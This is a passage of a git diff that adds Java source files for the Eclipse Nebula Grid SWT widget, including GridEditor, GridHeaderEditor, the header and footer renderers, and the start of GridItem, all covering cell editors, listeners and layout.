insertBefore = before; + } + else + { + if (insertCell != null) + { + setInsertMark(null, false); + } + insertCell = null; + } + } + else + { + if (insertCell != null) + { + setInsertMark(null, false); + } + insertCell = null; + } + } + + private void select(Point cell) { + if(grid.getCellSelectionEnabled() && !ignoreCellSelection) + grid.selectCell(cell); + else + grid.select(cell.y); + + } + private void deselect(Point cell) { + if(grid.getCellSelectionEnabled() && !ignoreCellSelection) + grid.deselectCell(cell); + else + grid.deselect(cell.y); + + } + private void setInsertMark(Point cell, boolean before) { + if(cell!=null) + { + if(grid.getCellSelectionEnabled() && !ignoreCellSelection) + grid.setInsertMark(grid.getItem(cell.y), grid.getColumn(cell.x), before); + else + grid.setInsertMark(grid.getItem(cell.y), null, before); + } + else + { + grid.setInsertMark(null, null, false); + } + } +} diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/GridEditor.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/GridEditor.java new file mode 100644 index 0000000..7fd5937 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/GridEditor.java @@ -0,0 +1,399 @@ +/******************************************************************************* + * Copyright (c) 2006 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * chris.gross@us.ibm.com - initial API and implementation + *******************************************************************************/ +package org.eclipse.nebula.widgets.grid; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.ControlEditor; +import org.eclipse.swt.events.ControlEvent; +import org.eclipse.swt.events.ControlListener; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.events.TreeEvent; +import org.eclipse.swt.events.TreeListener; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Listener; + +/** + *

    + * NOTE: THIS WIDGET AND ITS API ARE STILL UNDER DEVELOPMENT. THIS IS A PRE-RELEASE ALPHA + * VERSION. USERS SHOULD EXPECT API CHANGES IN FUTURE VERSIONS. + *

    + * + * A GridEditor is a manager for a Control that appears above a cell in a Grid + * and tracks with the moving and resizing of that cell. It can be used to + * display a text widget above a cell in a Grid so that the user can edit the + * contents of that cell. It can also be used to display a button that can + * launch a dialog for modifying the contents of the associated cell. + *

    + * @see org.eclipse.swt.custom.TableEditor + */ +public class GridEditor extends ControlEditor +{ + Grid table; + + GridItem item; + + int column = -1; + + ControlListener columnListener; + + Listener resizeListener; + + private Listener columnVisibleListener; + + private Listener columnGroupListener; + + private SelectionListener scrollListener; + + private TreeListener treeListener; + + /** + * Creates a TableEditor for the specified Table. + * + * @param table the Table Control above which this editor will be displayed + */ + public GridEditor(final Grid table) + { + super(table); + this.table = table; + + treeListener = new TreeListener () { + final Runnable runnable = new Runnable() { + public void run() { + if (getEditor() == null || getEditor().isDisposed()) return; + if (table.isDisposed()) return; + layout(); + getEditor().setVisible(true); + } + }; + public void treeCollapsed(TreeEvent e) { + if (getEditor() == null || getEditor().isDisposed ()) return; + getEditor().setVisible(false); + e.display.asyncExec(runnable); + } + public void treeExpanded(TreeEvent e) { + if (getEditor() == null || getEditor().isDisposed ()) return; + getEditor().setVisible(false); + e.display.asyncExec(runnable); + } + }; + table.addTreeListener(treeListener); + + columnListener = new ControlListener() + { + public void controlMoved(ControlEvent e) + { + layout(); + } + + public void controlResized(ControlEvent e) + { + layout(); + } + }; + + columnVisibleListener = new Listener() + { + public void handleEvent(Event event) + { + getEditor().setVisible(((GridColumn)event.widget).isVisible()); + if (getEditor().isVisible()) layout(); + } + }; + + resizeListener = new Listener() + { + public void handleEvent(Event event) + { + layout(); + } + }; + + scrollListener = new SelectionListener() + { + public void widgetSelected(SelectionEvent e) + { + layout(); + } + public void widgetDefaultSelected(SelectionEvent e) + { + } + }; + + columnGroupListener = new Listener() + { + public void handleEvent(Event event) + { + if (getEditor() == null || getEditor().isDisposed()) return; + getEditor().setVisible(table.getColumn(getColumn()).isVisible()); + if (getEditor().isVisible()) layout(); + } + }; + + // The following three listeners are workarounds for + // Eclipse bug 105764 + // https://bugs.eclipse.org/bugs/show_bug.cgi?id=105764 + table.addListener(SWT.Resize, resizeListener); + + if (table.getVerticalScrollBarProxy() != null) + { + table.getVerticalScrollBarProxy().addSelectionListener(scrollListener); + } + if (table.getHorizontalScrollBarProxy() != null) + { + table.getHorizontalScrollBarProxy().addSelectionListener(scrollListener); + } + + // To be consistent with older versions of SWT, grabVertical defaults to + // true + grabVertical = true; + } + + /** + * Returns the bounds of the editor. + * + * @return bounds of the editor. + */ + protected Rectangle computeBounds() + { + if (item == null || column == -1 || item.isDisposed()) + return new Rectangle(0, 0, 0, 0); + Rectangle cell = item.getBounds(column); + Rectangle area = table.getClientArea(); + if (cell.x < area.x + area.width) + { + if (cell.x + cell.width > area.x + area.width) + { + cell.width = area.x + area.width - cell.x; + } + } + Rectangle editorRect = new Rectangle(cell.x, cell.y, minimumWidth, minimumHeight); + + if (grabHorizontal) + { + editorRect.width = Math.max(cell.width, minimumWidth); + } + + if (grabVertical) + { + editorRect.height = Math.max(cell.height, minimumHeight); + } + + if (horizontalAlignment == SWT.RIGHT) + { + editorRect.x += cell.width - editorRect.width; + } + else if (horizontalAlignment == SWT.LEFT) + { + // do nothing - cell.x is the right answer + } + else + { // default is CENTER + editorRect.x += (cell.width - editorRect.width) / 2; + } + + if (verticalAlignment == SWT.BOTTOM) + { + editorRect.y += cell.height - editorRect.height; + } + else if (verticalAlignment == SWT.TOP) + { + // do nothing - cell.y is the right answer + } + else + { // default is CENTER + editorRect.y += (cell.height - editorRect.height) / 2; + } + + GridColumn c = table.getColumn(column); + + if( c != null && c.isTree() ) { + int x = c.getCellRenderer().getTextBounds(item, false).x; + editorRect.x += x; + editorRect.width -= x; + } + + return editorRect; + } + + /** + * Removes all associations between the TableEditor and the cell in the + * table. The Table and the editor Control are not disposed. + */ + public void dispose() + { + if (!table.isDisposed() && this.column > -1 && this.column < table.getColumnCount()) + { + GridColumn tableColumn = table.getColumn(this.column); + tableColumn.removeControlListener(columnListener); + if (tableColumn.getColumnGroup() != null){ + tableColumn.getColumnGroup().removeListener(SWT.Expand, columnGroupListener); + tableColumn.getColumnGroup().removeListener(SWT.Collapse, columnGroupListener); + } + } + + if (!table.isDisposed()) + { + table.removeListener(SWT.Resize, resizeListener); + + if (table.getVerticalScrollBarProxy() != null) + table.getVerticalScrollBarProxy().removeSelectionListener(scrollListener); + + if (table.getHorizontalScrollBarProxy() != null) + table.getHorizontalScrollBarProxy().removeSelectionListener(scrollListener); + } + + columnListener = null; + resizeListener = null; + table = null; + item = null; + column = -1; + super.dispose(); + } + + /** + * Returns the zero based index of the column of the cell being tracked by + * this editor. + * + * @return the zero based index of the column of the cell being tracked by + * this editor + */ + public int getColumn() + { + return column; + } + + /** + * Returns the TableItem for the row of the cell being tracked by this + * editor. + * + * @return the TableItem for the row of the cell being tracked by this + * editor + */ + public GridItem getItem() + { + return item; + } + + /** + * Sets the zero based index of the column of the cell being tracked by this + * editor. + * + * @param column the zero based index of the column of the cell being + * tracked by this editor + */ + public void setColumn(int column) + { + int columnCount = table.getColumnCount(); + // Separately handle the case where the table has no TableColumns. + // In this situation, there is a single default column. + if (columnCount == 0) + { + this.column = (column == 0) ? 0 : -1; + layout(); + return; + } + if (this.column > -1 && this.column < columnCount) + { + GridColumn tableColumn = table.getColumn(this.column); + tableColumn.removeControlListener(columnListener); + tableColumn.removeListener(SWT.Show, columnVisibleListener); + tableColumn.removeListener(SWT.Hide, columnVisibleListener); + this.column = -1; + } + + if (column < 0 || column >= table.getColumnCount()) + return; + + this.column = column; + GridColumn tableColumn = table.getColumn(this.column); + tableColumn.addControlListener(columnListener); + tableColumn.addListener(SWT.Show, columnVisibleListener); + tableColumn.addListener(SWT.Hide, columnVisibleListener); + if (tableColumn.getColumnGroup() != null){ + tableColumn.getColumnGroup().addListener(SWT.Expand, columnGroupListener); + tableColumn.getColumnGroup().addListener(SWT.Collapse, columnGroupListener); + } + layout(); + } + + /** + * Sets the item that this editor will function over. + * + * @param item editing item. + */ + public void setItem(GridItem item) + { + this.item = item; + layout(); + } + + /** + * Specify the Control that is to be displayed and the cell in the table + * that it is to be positioned above. + *

    + * Note: The Control provided as the editor must be created with its + * parent being the Table control specified in the TableEditor constructor. + * + * @param editor the Control that is displayed above the cell being edited + * @param item the TableItem for the row of the cell being tracked by this + * editor + * @param column the zero based index of the column of the cell being + * tracked by this editor + */ + public void setEditor(Control editor, GridItem item, int column) + { + setItem(item); + setColumn(column); + setEditor(editor); + + layout(); + } + + /** + * {@inheritDoc} + */ + public void layout() + { + + if (table.isDisposed()) + return; + if (item == null || item.isDisposed()) + return; + int columnCount = table.getColumnCount(); + if (columnCount == 0 && column != 0) + return; + if (columnCount > 0 && (column < 0 || column >= columnCount)) + return; + + boolean hadFocus = false; + + if (getEditor() == null || getEditor().isDisposed()) + return; + if (getEditor().getVisible()) + { + hadFocus = getEditor().isFocusControl(); + } // this doesn't work because + // resizing the column takes the focus away + // before we get here + getEditor().setBounds(computeBounds()); + if (hadFocus) + { + if (getEditor() == null || getEditor().isDisposed()) + return; + getEditor().setFocus(); + } + + } + +} diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/GridFooterRenderer.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/GridFooterRenderer.java new file mode 100644 index 0000000..52db2cf --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/GridFooterRenderer.java @@ -0,0 +1,42 @@ +/******************************************************************************* + * Copyright (c) 2009 BestSolution.at + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * tom.schindl@bestsolution.at - initial API and implementation + *******************************************************************************/ +package org.eclipse.nebula.widgets.grid; + +import org.eclipse.swt.graphics.Rectangle; + +/** + *

    + * NOTE: THIS WIDGET AND ITS API ARE STILL UNDER DEVELOPMENT. THIS IS A PRE-RELEASE ALPHA + * VERSION. USERS SHOULD EXPECT API CHANGES IN FUTURE VERSIONS. + *

    + * The super class for all grid header renderers. Contains the properties specific + * to a grid header. + * + * @author chris.gross@us.ibm.com + */ +public abstract class GridFooterRenderer extends AbstractInternalWidget +{ + /** + * Returns the bounds of the text in the cell. This is used when displaying in-place tooltips. + * If null is returned here, in-place tooltips will not be displayed. If the + * preferred argument is true then the returned bounds should be large + * enough to show the entire text. If preferred is false then the + * returned bounds should be be relative to the current bounds. + * + * @param value the object being rendered. + * @param preferred true if the preferred width of the text should be returned. + * @return bounds of the text. + */ + public Rectangle getTextBounds(Object value, boolean preferred) + { + return null; + } +} diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/GridHeaderEditor.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/GridHeaderEditor.java new file mode 100644 index 0000000..1be09a2 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/GridHeaderEditor.java @@ -0,0 +1,255 @@ +/******************************************************************************* + * Copyright (c) 2009 BestSolution.at + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * tom.schindl@bestsolution.at - initial API and implementation + * gusten__79@hotmail.com - bugfix in 257923 + *******************************************************************************/ +package org.eclipse.nebula.widgets.grid; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.ControlEditor; +import org.eclipse.swt.events.ControlEvent; +import org.eclipse.swt.events.ControlListener; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Listener; + +/** + * Manager for a Control that appears below the grid column header. Based on + * {@link GridEditor}. + */ +class GridHeaderEditor extends ControlEditor { + + private Grid table; + + private GridColumn column; + + ControlListener columnListener; + + Listener resizeListener; + + private final Listener columnVisibleListener; + + private final Listener columnGroupListener; + + private final SelectionListener scrollListener; + + private final Listener mouseOverListener; + + /** + * Creates a TableEditor for the specified Table. + * + * @param column + * the Table Control above which this editor will be displayed + */ + GridHeaderEditor(final GridColumn column) { + super(column.getParent()); + + this.table = column.getParent(); + this.column = column; + + columnListener = new ControlListener() { + public void controlMoved(ControlEvent e) { + table.getDisplay().asyncExec(new Runnable() { + + public void run() { + layout(); + } + + }); + } + + public void controlResized(ControlEvent e) { + layout(); + } + }; + + columnVisibleListener = new Listener() { + public void handleEvent(Event event) { + getEditor().setVisible(column.isVisible()); + // if (getEditor().isVisible()) + layout(); + } + }; + + resizeListener = new Listener() { + public void handleEvent(Event event) { + layout(); + } + }; + + scrollListener = new SelectionListener() { + public void widgetSelected(SelectionEvent e) { + layout(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + } + }; + + columnGroupListener = new Listener() { + public void handleEvent(Event event) { + if (getEditor() == null || getEditor().isDisposed()) + return; + getEditor().setVisible(column.isVisible()); + // if (getEditor().isVisible()) + layout(); + } + }; + + // Reset the mouse cursor when the mouse hovers the control + mouseOverListener = new Listener() { + + public void handleEvent(Event event) { + if (table.getCursor() != null) { + // We need to reset because it could be that when we left the resizer was active + table.hoveringOnColumnResizer=false; + table.setCursor(null); + } + } + + }; + + // The following three listeners are workarounds for + // Eclipse bug 105764 + // https://bugs.eclipse.org/bugs/show_bug.cgi?id=105764 + table.addListener(SWT.Resize, resizeListener); + + if (table.getVerticalScrollBarProxy() != null) { + table.getVerticalScrollBarProxy().addSelectionListener( + scrollListener); + } + if (table.getHorizontalScrollBarProxy() != null) { + table.getHorizontalScrollBarProxy().addSelectionListener( + scrollListener); + } + + // To be consistent with older versions of SWT, grabVertical defaults to + // true + grabVertical = true; + + // initColumn(); + } + + /** + * Returns the bounds of the editor. + * + * @return bounds of the editor. + */ + protected Rectangle internalComputeBounds() { + column.getHeaderRenderer().setBounds(column.getBounds()); + return column.getHeaderRenderer().getControlBounds(column, true); + } + + /** + * Removes all associations between the TableEditor and the cell in the + * table. The Table and the editor Control are not disposed. + */ + public void dispose() { + if (!table.isDisposed() && !column.isDisposed()) { + column.removeControlListener(columnListener); + if (column.getColumnGroup() != null) { + column.getColumnGroup().removeListener(SWT.Expand, + columnGroupListener); + column.getColumnGroup().removeListener(SWT.Collapse, + columnGroupListener); + } + } + + if (!table.isDisposed()) { + table.removeListener(SWT.Resize, resizeListener); + + if (table.getVerticalScrollBarProxy() != null) + table.getVerticalScrollBarProxy().removeSelectionListener( + scrollListener); + + if (table.getHorizontalScrollBarProxy() != null) + table.getHorizontalScrollBarProxy().removeSelectionListener( + scrollListener); + } + + columnListener = null; + resizeListener = null; + table = null; + super.dispose(); + } + + /** + * Sets the zero based index of the column of the cell being tracked by this + * editor. + * + * @param column + * the zero based index of the column of the cell being tracked + * by this editor + */ + void initColumn() { + + column.addControlListener(columnListener); + column.addListener(SWT.Show, columnVisibleListener); + column.addListener(SWT.Hide, columnVisibleListener); + + if (column.getColumnGroup() != null) { + column.getColumnGroup() + .addListener(SWT.Expand, columnGroupListener); + column.getColumnGroup().addListener(SWT.Collapse, + columnGroupListener); + } + layout(); + } + + /** + * {@inheritDoc} + */ + public void layout() { + if (table.isDisposed()) + return; + + boolean hadFocus = false; + if (getEditor() == null || getEditor().isDisposed() + || !column.isVisible()) { + return; + } + + if (getEditor().getVisible()) { + hadFocus = getEditor().isFocusControl(); + } + + Rectangle rect = internalComputeBounds(); + if (rect == null || rect.x < 0) { + getEditor().setVisible(false); + return; + } else if(table.getItemHeaderWidth()>0&&table.getItemHeaderWidth()>rect.x){ + getEditor().setVisible(false); + return; + }else { + getEditor().setVisible(true); + } + getEditor().setBounds(rect); + + if (hadFocus) { + if (getEditor() == null || getEditor().isDisposed()) + return; + getEditor().setFocus(); + } + } + + public void setEditor(Control editor) { + if (getEditor() != null) { + getEditor().removeListener(SWT.MouseEnter, mouseOverListener); + } + super.setEditor(editor); + + if (editor != null) { + getEditor().addListener(SWT.MouseEnter, mouseOverListener); + } + } + +} diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/GridHeaderRenderer.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/GridHeaderRenderer.java new file mode 100644 index 0000000..23d3b1c --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/GridHeaderRenderer.java @@ -0,0 +1,83 @@ +/******************************************************************************* + * Copyright (c) 2008 BestSolution.at and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * tom.schindl@bestsolution.at - initial API and implementation + * Chuck.Mastrandrea@sas.com - wordwrapping in bug 222280 + * smcduff@hotmail.com - wordwrapping in bug 222280 + *******************************************************************************/ +package org.eclipse.nebula.widgets.grid; + +import org.eclipse.swt.graphics.Rectangle; + +/** + *

    + * NOTE: THIS WIDGET AND ITS API ARE STILL UNDER DEVELOPMENT. THIS IS A PRE-RELEASE ALPHA + * VERSION. USERS SHOULD EXPECT API CHANGES IN FUTURE VERSIONS. + *

    + * The super class for all grid header renderers. Contains the properties specific + * to a grid header. + * + * @author chris.gross@us.ibm.com + */ +public abstract class GridHeaderRenderer extends AbstractInternalWidget +{ + private boolean wordWrap = false; + + /** + * Returns the bounds of the text in the cell. This is used when displaying in-place tooltips. + * If null is returned here, in-place tooltips will not be displayed. If the + * preferred argument is true then the returned bounds should be large + * enough to show the entire text. If preferred is false then the + * returned bounds should be be relative to the current bounds. + * + * @param value the object being rendered. + * @param preferred true if the preferred width of the text should be returned. + * @return bounds of the text. + */ + public Rectangle getTextBounds(Object value, boolean preferred) + { + return null; + } + + /** + * Returns the bounds of the toggle within the header (typically only group headers have toggles) + * or null. + * + * @return toggle bounds or null if no toggle exists. + */ + public Rectangle getToggleBounds() + { + return null; + } + + /** + * Returns the bounds of the control to display + * + * @return the bounds for the control or null if no control is + * rendered + */ + protected Rectangle getControlBounds(Object value, boolean preferred) { + return null; + } + /** + * Returns whether or not text will be word-wrapped during the render + * @return the wordWrap True if word wrapping is enabled + */ + public boolean isWordWrap() + { + return wordWrap; + } + /** + * Sets whether or not text should be word-wrapped during the render + * @param wordWrap True to wrap text, false otherwise + */ + public void setWordWrap(boolean wordWrap) + { + this.wordWrap = wordWrap; + } +} diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/GridItem.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/GridItem.java new file mode 100644 index 0000000..41983ba --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/GridItem.java @@ -0,0 +1,2156 @@ +/******************************************************************************* + * Copyright (c) 2006 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * chris.gross@us.ibm.com - initial API and implementation + * Claes Rosell - rowspan in bug 272384 + * Stefan Widmaier - rowspan in 304797 + *******************************************************************************/ +package org.eclipse.nebula.widgets.grid; + +import java.util.ArrayList; +import java.util.Iterator; +import java.util.List; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.SWTException; +import org.eclipse.swt.events.ControlListener; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Item; +import org.eclipse.swt.widgets.TypedListener; + +/** + *

    + * NOTE: THIS WIDGET AND ITS API ARE STILL UNDER DEVELOPMENT. THIS IS A + * PRE-RELEASE ALPHA VERSION. USERS SHOULD EXPECT API CHANGES IN FUTURE + * VERSIONS. + *

    + * Instances of this class represent a selectable user interface object that + * represents an item in a grid. + *

    + *

    + *
    Styles:
    + *
    (none)
    + *
    Events:
    + *
    (none)
    + *
    + * + * @author chris.gross@us.ibm.com + */ +public class GridItem extends Item { + /** + * List of background colors for each column. + */ + private ArrayList backgrounds = new ArrayList(); + + /** + * Lists of check states for each column. + */ + private ArrayList checks = new ArrayList(); + + /** + * Lists of checkable states for each column. + */ + private ArrayList checkable = new ArrayList(); + + /** + * List of children. + */ + private ArrayList children = new ArrayList(); + + /** + * List of column spaning. + */ + private ArrayList columnSpans = new ArrayList(); + + /** + * List of row spaning. + */ + private ArrayList rowSpans = new ArrayList(); + + /** + * Default background color. + */ + private Color defaultBackground; + + /** + * Default font. + */ + private Font defaultFont; + + /** + * Default foreground color. + */ + private Color defaultForeground; + + /** + * The height of this GridItem. + */ + private int height = 1; + + /** + * Is expanded? + */ + private boolean expanded = false; + + /** + * Lists of fonts for each column. + */ + private ArrayList fonts = new ArrayList(); + + /** + * List of foreground colors for each column. + */ + private ArrayList foregrounds = new ArrayList(); + + /** + * Lists of grayed (3rd check state) for each column. + */ + private ArrayList grayeds = new ArrayList(); + + /** + * True if has children. + */ + private boolean hasChildren = false; + + /** + * List of images for each column. + */ + private ArrayList images = new ArrayList(); + + /** + * Level of item in a tree. + */ + private int level = 0; + + /** + * Parent grid instance. + */ + private Grid parent; + + /** + * Parent item (if a child item). + */ + private GridItem parentItem; + + /** + * List of text for each column. + */ + private ArrayList texts = new ArrayList(); + + /** + * List of tooltips for each column. + */ + private ArrayList tooltips = new ArrayList(); + + /** + * Is visible? + */ + private boolean visible = true; + + /** + * Row header text. + */ + private String headerText = null; + + /** + * Row header image + */ + private Image headerImage = null; + + /** + * Background color of the header + */ + private Color headerBackground = null; + + /** + * Foreground color of the header + */ + public Color headerForeground = null; + + /** + * (SWT.VIRTUAL only) Flag that specifies whether the client has already + * been sent a SWT.SetData event. + */ + private boolean hasSetData = false; + + /** + * Creates a new instance of this class and places the item at the end of + * the grid. + * + * @param parent + * parent grid + * @param style + * item style + * @throws IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the parent is null
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the parent
    • + *
    • ERROR_INVALID_SUBCLASS - if this class is not an allowed + * subclass
    • + *
    + */ + public GridItem(Grid parent, int style) { + this(parent, style, -1); + } + + /** + * Creates a new instance of this class and places the item in the grid at + * the given index. + * + * @param parent + * parent grid + * @param style + * item style + * @param index + * index where to insert item + * @throws IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the parent is null
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the parent
    • + *
    • ERROR_INVALID_SUBCLASS - if this class is not an allowed + * subclass
    • + *
    + */ + public GridItem(Grid parent, int style, int index) { + super(parent, style, index); + + this.parent = parent; + + init(); + + parent.newItem(this, index, true); + parent.newRootItem(this, index); + } + + /** + * Creates a new instance of this class as a child node of the given + * GridItem and places the item at the end of the parents items. + * + * @param parent + * parent item + * @param style + * item style + * @throws IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the parent is null
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the parent
    • + *
    • ERROR_INVALID_SUBCLASS - if this class is not an allowed + * subclass
    • + *
    + */ + public GridItem(GridItem parent, int style) { + this(parent, style, -1); + } + + /** + * Creates a new instance of this class as a child node of the given Grid + * and places the item at the given index in the parent items list. + * + * @param parent + * parent item + * @param style + * item style + * @param index + * index to place item + * @throws IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the parent is null
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the parent
    • + *
    • ERROR_INVALID_SUBCLASS - if this class is not an allowed + * subclass
    • + *
    + */ + public GridItem(GridItem parent, int style, int index) { + super(parent, style, index); + + parentItem = parent; + this.parent = parentItem.getParent(); + + init(); + + this.parent.newItem(this, index, false); + + level = parentItem.getLevel() + 1; + + parentItem.newItem(this, index); + + if (parent.isVisible() && parent.isExpanded()) { + setVisible(true); + } else { + setVisible(false); + } + } + + /** + * {@inheritDoc} + */ + public void dispose() { + if (!parent.isDisposing()) { + parent.removeItem(this); + + if (parentItem != null) { + parentItem.remove(this); + } else { + parent.removeRootItem(this); + } + + for (int i = children.size() - 1; i >= 0; i--) { + ((GridItem) children.get(i)).dispose(); + } + } + super.dispose(); + } + + /** + * Adds the listener to the collection of listeners who will be notified + * when the row is resized, by sending it one of the messages defined in the + * ControlListener interface. + *

    + * Clients who wish to override the standard row resize logic should use the + * untyped listener mechanisms. The untyped Event object passed + * to an untyped listener will have its detail field populated + * with the new row height. Clients may alter this value to, for example, + * enforce minimum or maximum row sizes. Clients may also set the + * doit field to false to prevent the entire resize operation. + * + * @param listener + * the listener which should be notified + * + * @exception IllegalArgumentException + *

      + *
    • ERROR_NULL_ARGUMENT - if the listener is null
    • + *
    + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been + * disposed
    • ERROR_THREAD_INVALID_ACCESS - if not + * called from the thread that created the receiver
    • + *
    + */ + public void addControlListener(ControlListener listener) { + checkWidget(); + if (listener == null) + SWT.error(SWT.ERROR_NULL_ARGUMENT); + TypedListener typedListener = new TypedListener(listener); + addListener(SWT.Resize, typedListener); + } + + /** + * Removes the listener from the collection of listeners who will be + * notified when the row is resized. + * + * @param listener + * the listener which should no longer be notified + * + * @exception IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the listener is null
    • + *
    + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been + * disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void removeControlListener(ControlListener listener) { + checkWidget(); + if (listener == null) + SWT.error(SWT.ERROR_NULL_ARGUMENT); + removeListener(SWT.Resize, listener); + } + + /** + * Fires the given event type on the parent Grid instance. This method + * should only be called from within a cell renderer. Any other use is not + * intended. + * + * @param eventId + * SWT event constant + * @throws SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void fireEvent(int eventId) { + checkWidget(); + + Event e = new Event(); + e.display = getDisplay(); + e.widget = this; + e.item = this; + e.type = eventId; + + getParent().notifyListeners(eventId, e); + } + + /** + * Fires the appropriate events in response to a user checking/unchecking an + * item. Checking an item fires both a selection event (with event.detail of + * SWT.CHECK) if the checkbox is in the first column and the seperate check + * listener (all columns). This method manages that behavior. This method + * should only be called from within a cell renderer. Any other use is not + * intended. + * + * @param column + * the column where the checkbox resides + * @throws SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void fireCheckEvent(int column) { + checkWidget(); + + Event selectionEvent = new Event(); + selectionEvent.display = getDisplay(); + selectionEvent.widget = this; + selectionEvent.item = this; + selectionEvent.type = SWT.Selection; + selectionEvent.detail = SWT.CHECK; + selectionEvent.index = column; + + getParent().notifyListeners(SWT.Selection, selectionEvent); + } + + /** + * Returns the receiver's background color. + * + * @return the background color + * @throws SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public Color getBackground() { + checkWidget(); + + if (defaultBackground == null) { + return parent.getBackground(); + } + return defaultBackground; + } + + /** + * Returns the background color at the given column index in the receiver. + * + * @param index + * the column index + * @return the background color + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public Color getBackground(int index) { + checkWidget(); + + handleVirtual(); + + Color c = (Color) backgrounds.get(index); + // if (c == null) + // { + // c = getBackground(); + // } + return c; + } + + /** + * Returns a rectangle describing the receiver's size and location relative + * to its parent at a column in the table. + * + * @param columnIndex + * the index that specifies the column + * @return the receiver's bounding column rectangle + * @throws SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
